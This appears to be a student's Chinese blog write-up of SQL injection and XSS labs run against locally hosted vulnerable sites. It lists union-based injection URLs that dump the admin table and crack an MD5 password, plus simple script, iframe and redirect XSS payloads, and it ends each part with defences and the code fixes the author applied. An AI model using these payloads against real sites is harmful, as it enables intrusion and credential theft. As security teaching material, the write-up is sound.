本文最后更新于:星期三, 一月 2日 2019, 4:09 下午
混子pwn手来学点web的东西了,网络攻防课程要求做的作业
SQL注入
原理
将SQL 代码插入或添加到应用(用户)的输入参数中,之后再讲这些参数传递给后台的 SQL 服务器加以解析并执行的攻击。
形成原因:
web开发人员没有在将从web表单、cookie、输入参数等收到的值传给SQL查询前进行检查
漏洞复现
平台 : NPMserv 目标:NPMserv 中的一个政府网站 (本地搭的一个环境)
判断注入点
http://127.0.0.1/info_show.php?info_id=140 and 1=1 有回显 http://127.0.0.1/info_show.php?info_id=140 and 1=2 无回显
爆破字段数量
http://127.0.0.1/info_show.php?info_id=140 order by 5 这里数量,试了1到5都没问题,而6的话就会无回显,所以字段数量为5
判断可回显字段
http://127.0.0.1/info_show.php?info_id=140 union select 1,2,3,4,5 这里发现只有2,3字段是可以回显的
爆出敏感信息
http://127.0.0.1/info_show.php?info_id=140 union select 1,user(),database(),4,5 爆出了数据库用户名和数据库名,分别为root@localhost 和 govcn http://127.0.0.1/info_show.php?info_id=140 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema="govcn" 爆出govcn数据库中包含的数据表,分别为admin,index_dy,index_info,index_intro,jgsz,ldjj group_concat函数用于把多条数据一次注出 爆admin表的列名 http://127.0.0.1/info_show.php?info_id=140 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name='admin' 爆出admin表中的列名为username,password 爆用户和密码 http://127.0.0.1/info_show.php?info_id=140 union select 1,unhex(hex(username)),unhex(hex(password)),4,5 from admin 用unhex(hex())是为了解决网站编码不一致导致没有回显的问题 用户名为admin,密码为:21232f297a57a5a743894a0e4a801fc3 这个是md5加密过的,拿去解密一下,解出来的内容为 admin。所以用户名为admin,密码为admin
利用注出的用户密码成功登入后台
至此,一个简单的SQL注入漏洞 就复现完了
SQL注入的防护手段
1对客户端提交的数据进行严格的校验,校验可以考虑数据类型,字符长度或者正则表达式等方式。
2.对客户端提交的数据进行转义,例如将” ‘ “转义为” ‘ “。
3.采用预编译绑定变量的SQL语句而不是直接拼接SQL语句。
4.避免在生产环境中,直接输出错误信息,因为这些错误信息有可能被攻击者利用。
5.严格执行数据库账号权限管理。
6.对用户敏感信息特别是密码做严格加密处理。
漏洞修复
因为这个平台代码写的比较shi,本来想加上SQL预编译的,但是发现要改好多东西,所以就只针对漏洞点进行,修改。定位漏洞点,在info_show.php中
可以发现它直接用GET请求获得的参数进行SQL查询,对传入的参数并没有进行检查。所以我在这加入了一个检查,判断传入的参数是否为数字,如果不为数字,就强制转换成数字。
然后就ok了,补完洞了。再测试下,发现已经注入不了了。(也可能是我太菜了,才注不了,但是不管了,假装补上了)
XSS跨站脚本攻击
原理
攻击者在被攻击的Web服务器网页中嵌入恶意脚本,通常是用JavaScript编写的恶意代码,当用户使用浏览器访问被嵌入恶意代码的网页时,恶意代码将会在用户的浏览器上执行。
类型
反射型 XSS
反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。
持久型 XSS
此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。
DOM XSS
DOM-based XSS漏洞是基于文档对象模型Document Objeet Model 的一种漏洞。DOM是一个与平台、编程语言无关的借口,它允许程序或脚本动态的访问或者更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些事用户可以操作的.客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格的确认,就会产生DOM-based XSS漏洞。
漏洞复现
平台 : NPMserv 目标:NPMserv 中的博客网站 (本地搭的一个环境)
寻找漏洞点,这些博客的网站,xss一般存在于留言板中。而这个博客系统中每篇文章下都可以留言,并且有留言本。
先测试下文章的留言功能
发现输入的js代码被执行了,所以这里存在一个xss漏洞,并且是个反射型的xss漏洞
然后测试下留言本,很明显,这里也存在XSS漏洞,并且这个是个存储型的XSS漏洞,我输入的语句直接插入到网站上,只要用户访问了这个网站,那么我输入的代码就会被执行。
这个可以拿来做很多事情,比如
- Cookie窃取
- 会话劫持
- 网页挂马
- DOS和DDOS
- XSS蠕虫
简单演示下
Cookie窃取
<script>alert(document.cookie)</script>
嵌入网页
<iframe src= http://www.baidu.com width=400 height=300></iframe>
<iframe src= http://www.baidu.com width=0 height=0 frameborder=0></iframe>
可以通过设置嵌入网页的高宽来隐藏它
页面跳转
<script>location="http://www.baidu.com"</script>
#直接劫持页面
防御手段
XSS攻击防御的核心思想就是对输入输出进行过滤和数据转义
过滤:
过滤不安全的标签,如script, style, link, iframe, frame。
过滤字符串中的 反斜杠
转义
针对<、>、/、’、”、&五个字符进行实体化转义。
文章评论漏洞
漏洞修复:将$comment[‘content’] 的值经过htmlspecialchars函数处理,htmlspecialchars()函数可以把& (和号)、“(双引号)、‘(单引号)、<(小于)、>(大于)这些敏感符号都转换为html实体。
测试,XSS漏洞修复了
留言版漏洞,这是一个存储型XSS漏洞,审查代码,定位漏洞点
可以发现它对提交的变量没有进行过滤就插入数据库了
漏洞修补:在add函数里加入htmlspecialchars函数,对传入的变量进行转义
然后就搞定了,之前的XSS漏洞不可以用了
reference:
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!